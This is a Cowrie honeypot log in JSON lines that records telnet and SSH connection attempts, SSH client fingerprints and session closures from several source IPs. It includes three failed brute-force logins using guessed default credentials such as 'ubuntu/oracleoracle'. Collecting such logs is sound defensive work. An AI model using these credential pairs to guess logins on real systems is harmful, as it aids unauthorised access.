{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":42176,"dst_ip":"10.17.0.5","dst_port":23,"session":"bdc4a3827cdf","protocol":"telnet","message":"New connection: 188.208.141.113:42176 (10.17.0.5:23) [session: bdc4a3827cdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:55.600852Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":39196,"dst_ip":"10.17.0.5","dst_port":23,"session":"523363533e44","protocol":"telnet","message":"New connection: 104.245.105.2:39196 (10.17.0.5:23) [session: 523363533e44]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:57.004280Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":39198,"dst_ip":"10.17.0.5","dst_port":23,"session":"6a878073fde8","protocol":"telnet","message":"New connection: 104.245.105.2:39198 (10.17.0.5:23) [session: 6a878073fde8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:57.446306Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":39202,"dst_ip":"10.17.0.5","dst_port":23,"session":"de343a2d40c3","protocol":"telnet","message":"New connection: 104.245.105.2:39202 (10.17.0.5:23) [session: de343a2d40c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:59.205300Z"}
{"eventid":"cowrie.session.closed","duration":33.395371437072754,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:53:59.619198Z","src_ip":"104.245.105.2","session":"a77f25479bcb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.576324224472046,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:54:02.071790Z","src_ip":"104.245.105.2","session":"bd49a4a5bf9d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"178.70.14.26","src_port":50612,"dst_ip":"159.203.135.109","dst_port":23,"session":"54ac56a977c3","protocol":"telnet","message":"New connection: 178.70.14.26:50612 (159.203.135.109:23) [session: 54ac56a977c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:54:02.629473Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":34838,"dst_ip":"10.17.0.5","dst_port":23,"session":"7fe7531af906","protocol":"telnet","message":"New connection: 188.208.141.113:34838 (10.17.0.5:23) [session: 7fe7531af906]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:54:03.167657Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":42998,"dst_ip":"10.17.0.5","dst_port":23,"session":"597b1da7e3b5","protocol":"telnet","message":"New connection: 104.245.105.2:42998 (10.17.0.5:23) [session: 597b1da7e3b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:54:05.344553Z"}
{"eventid":"cowrie.session.closed","duration":33.06689143180847,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:54:06.970253Z","src_ip":"104.245.105.2","session":"6f006075e6cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":41658,"dst_ip":"10.17.0.5","dst_port":23,"session":"770a19b457e6","protocol":"telnet","message":"New connection: 206.189.32.23:41658 (10.17.0.5:23) [session: 770a19b457e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:54:07.950212Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":34854,"dst_ip":"10.17.0.5","dst_port":23,"session":"493b1ec07d00","protocol":"telnet","message":"New connection: 188.208.141.113:34854 (10.17.0.5:23) [session: 493b1ec07d00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:54:08.399990Z"}
{"eventid":"cowrie.session.closed","duration":3.7662296295166016,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:54:12.166097Z","src_ip":"188.208.141.113","session":"493b1ec07d00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.72937536239624,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:54:13.183711Z","src_ip":"104.245.105.2","session":"ced461933b4f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.332138538360596,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:54:14.961480Z","src_ip":"178.70.14.26","session":"54ac56a977c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"190.108.60.10","src_port":49304,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe4a60f6d558","protocol":"ssh","message":"New connection: 190.108.60.10:49304 (10.17.0.5:22) [session: fe4a60f6d558]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:54:16.709460Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:54:16.713827Z","src_ip":"190.108.60.10","session":"fe4a60f6d558","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:54:16.915649Z","src_ip":"190.108.60.10","session":"fe4a60f6d558","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"oracleoracle","message":"login attempt [ubuntu/oracleoracle] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:54:17.755746Z","src_ip":"190.108.60.10","session":"fe4a60f6d558","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:54:18.971750Z","src_ip":"190.108.60.10","session":"fe4a60f6d558","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":47582,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cbee211d157","protocol":"telnet","message":"New connection: 188.208.141.113:47582 (10.17.0.5:23) [session: 7cbee211d157]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:54:19.239202Z"}
{"eventid":"cowrie.session.closed","duration":34.50867795944214,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:54:19.733310Z","src_ip":"104.245.105.2","session":"b77246f73822","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.142476320266724,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:54:20.396565Z","src_ip":"104.245.105.2","session":"b7f964dd407b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":44176,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe6d4037648e","protocol":"ssh","message":"New connection: 61.222.211.114:44176 (10.17.0.5:22) [session: fe6d4037648e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:54:21.004881Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:54:21.009871Z","src_ip":"61.222.211.114","session":"fe6d4037648e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:54:21.214422Z","src_ip":"61.222.211.114","session":"fe6d4037648e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testgit","password":"testgit","message":"login attempt [testgit/testgit] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:54:22.067968Z","src_ip":"61.222.211.114","session":"fe6d4037648e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:54:23.276027Z","src_ip":"61.222.211.114","session":"fe6d4037648e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":51652,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa560c467a8d","protocol":"telnet","message":"New connection: 104.245.105.2:51652 (10.17.0.5:23) [session: aa560c467a8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:54:25.821143Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":51666,"dst_ip":"10.17.0.5","dst_port":23,"session":"7999cfe46651","protocol":"telnet","message":"New connection: 104.245.105.2:51666 (10.17.0.5:23) [session: 7999cfe46651]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:54:28.296827Z"}
{"eventid":"cowrie.session.closed","duration":43.47486186027527,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:54:28.302248Z","src_ip":"206.189.32.23","session":"92d7fae7cfb8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.93401598930359,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:54:28.935183Z","src_ip":"188.208.141.113","session":"0cfced55419f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.35608696937561,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:54:30.561277Z","src_ip":"104.245.105.2","session":"de343a2d40c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.754374265670776,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:54:33.200557Z","src_ip":"104.245.105.2","session":"6a878073fde8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":38370,"dst_ip":"10.17.0.5","dst_port":23,"session":"346e3633060d","protocol":"telnet","message":"New connection: 104.245.105.2:38370 (10.17.0.5:23) [session: 346e3633060d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:54:37.382036Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":55568,"dst_ip":"10.17.0.5","dst_port":23,"session":"0621d1a7287d","protocol":"telnet","message":"New connection: 188.208.141.113:55568 (10.17.0.5:23) [session: 0621d1a7287d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:54:38.618246Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":60544,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb436c4febfb","protocol":"telnet","message":"New connection: 104.245.105.2:60544 (10.17.0.5:23) [session: fb436c4febfb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:54:39.547003Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":60560,"dst_ip":"10.17.0.5","dst_port":23,"session":"b075550977e0","protocol":"telnet","message":"New connection: 104.245.105.2:60560 (10.17.0.5:23) [session: b075550977e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:54:39.583717Z"}
{"eventid":"cowrie.session.closed","duration":42.90746855735779,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:54:39.911582Z","src_ip":"104.245.105.2","session":"523363533e44","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.83127450942993,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:54:42.998852Z","src_ip":"188.208.141.113","session":"7fe7531af906","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.15575456619263,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:54:45.500169Z","src_ip":"104.245.105.2","session":"597b1da7e3b5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.27027440071106,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:54:46.817141Z","src_ip":"104.245.105.2","session":"fb436c4febfb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":54.563405990600586,"message":"Connection lost after 54 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:54:50.164110Z","src_ip":"188.208.141.113","session":"bdc4a3827cdf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":60448,"dst_ip":"10.17.0.5","dst_port":23,"session":"c71639f02a2e","protocol":"telnet","message":"New connection: 104.245.105.2:60448 (10.17.0.5:23) [session: c71639f02a2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:54:52.467150Z"}
{"eventid":"cowrie.session.closed","duration":46.25976514816284,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:54:54.209864Z","src_ip":"206.189.32.23","session":"770a19b457e6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.34654879570007,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:54:56.585629Z","src_ip":"188.208.141.113","session":"7cbee211d157","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43902,"dst_ip":"10.17.0.5","dst_port":23,"session":"d7075c05ff42","protocol":"telnet","message":"New connection: 188.208.141.113:43902 (10.17.0.5:23) [session: d7075c05ff42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:54:59.376291Z"}
{"eventid":"cowrie.session.closed","duration":31.266287803649902,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:54:59.562952Z","src_ip":"104.245.105.2","session":"7999cfe46651","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.23338532447815,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:55:00.054382Z","src_ip":"104.245.105.2","session":"aa560c467a8d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":42816,"dst_ip":"10.17.0.5","dst_port":23,"session":"b478179d3e2a","protocol":"telnet","message":"New connection: 206.189.32.23:42816 (10.17.0.5:23) [session: b478179d3e2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:55:00.793557Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":35280,"dst_ip":"10.17.0.5","dst_port":23,"session":"ee5576630aaf","protocol":"telnet","message":"New connection: 206.189.32.23:35280 (10.17.0.5:23) [session: ee5576630aaf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:55:01.178263Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":49636,"dst_ip":"10.17.0.5","dst_port":23,"session":"f96a670da939","protocol":"telnet","message":"New connection: 104.245.105.2:49636 (10.17.0.5:23) [session: f96a670da939]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:55:03.951678Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":49650,"dst_ip":"10.17.0.5","dst_port":23,"session":"82cf62725bc8","protocol":"telnet","message":"New connection: 104.245.105.2:49650 (10.17.0.5:23) [session: 82cf62725bc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:55:07.279886Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":54216,"dst_ip":"10.17.0.5","dst_port":23,"session":"7e15e24105d5","protocol":"telnet","message":"New connection: 206.189.32.23:54216 (10.17.0.5:23) [session: 7e15e24105d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:55:11.244691Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":47162,"dst_ip":"10.17.0.5","dst_port":23,"session":"bd6e6598e570","protocol":"telnet","message":"New connection: 206.189.32.23:47162 (10.17.0.5:23) [session: bd6e6598e570]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:55:11.401171Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":55558,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b3165693d98","protocol":"telnet","message":"New connection: 206.189.32.23:55558 (10.17.0.5:23) [session: 3b3165693d98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:55:13.603432Z"}
{"eventid":"cowrie.session.closed","duration":34.529362201690674,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:55:14.112983Z","src_ip":"104.245.105.2","session":"b075550977e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":42196,"dst_ip":"10.17.0.5","dst_port":23,"session":"e38411133d30","protocol":"telnet","message":"New connection: 104.245.105.2:42196 (10.17.0.5:23) [session: e38411133d30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:55:15.169078Z"}
{"eventid":"cowrie.session.closed","duration":36.673604249954224,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:55:15.291727Z","src_ip":"188.208.141.113","session":"0621d1a7287d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"61.222.211.114","src_port":46506,"dst_ip":"10.17.0.5","dst_port":22,"session":"5bd3bcdffc54","protocol":"ssh","message":"New connection: 61.222.211.114:46506 (10.17.0.5:22) [session: 5bd3bcdffc54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:55:15.785949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:55:15.791414Z","src_ip":"61.222.211.114","session":"5bd3bcdffc54","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:55:16.004710Z","src_ip":"61.222.211.114","session":"5bd3bcdffc54","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"web-user","password":"web-user","message":"login attempt [web-user/web-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:55:16.884697Z","src_ip":"61.222.211.114","session":"5bd3bcdffc54","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.62866497039795,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:55:18.010608Z","src_ip":"104.245.105.2","session":"346e3633060d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:55:18.100606Z","src_ip":"61.222.211.114","session":"5bd3bcdffc54","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":42212,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a9081a708a6","protocol":"telnet","message":"New connection: 104.245.105.2:42212 (10.17.0.5:23) [session: 8a9081a708a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:55:19.133273Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":33712,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5efe17937b9","protocol":"telnet","message":"New connection: 104.245.105.2:33712 (10.17.0.5:23) [session: d5efe17937b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:55:22.731950Z"}
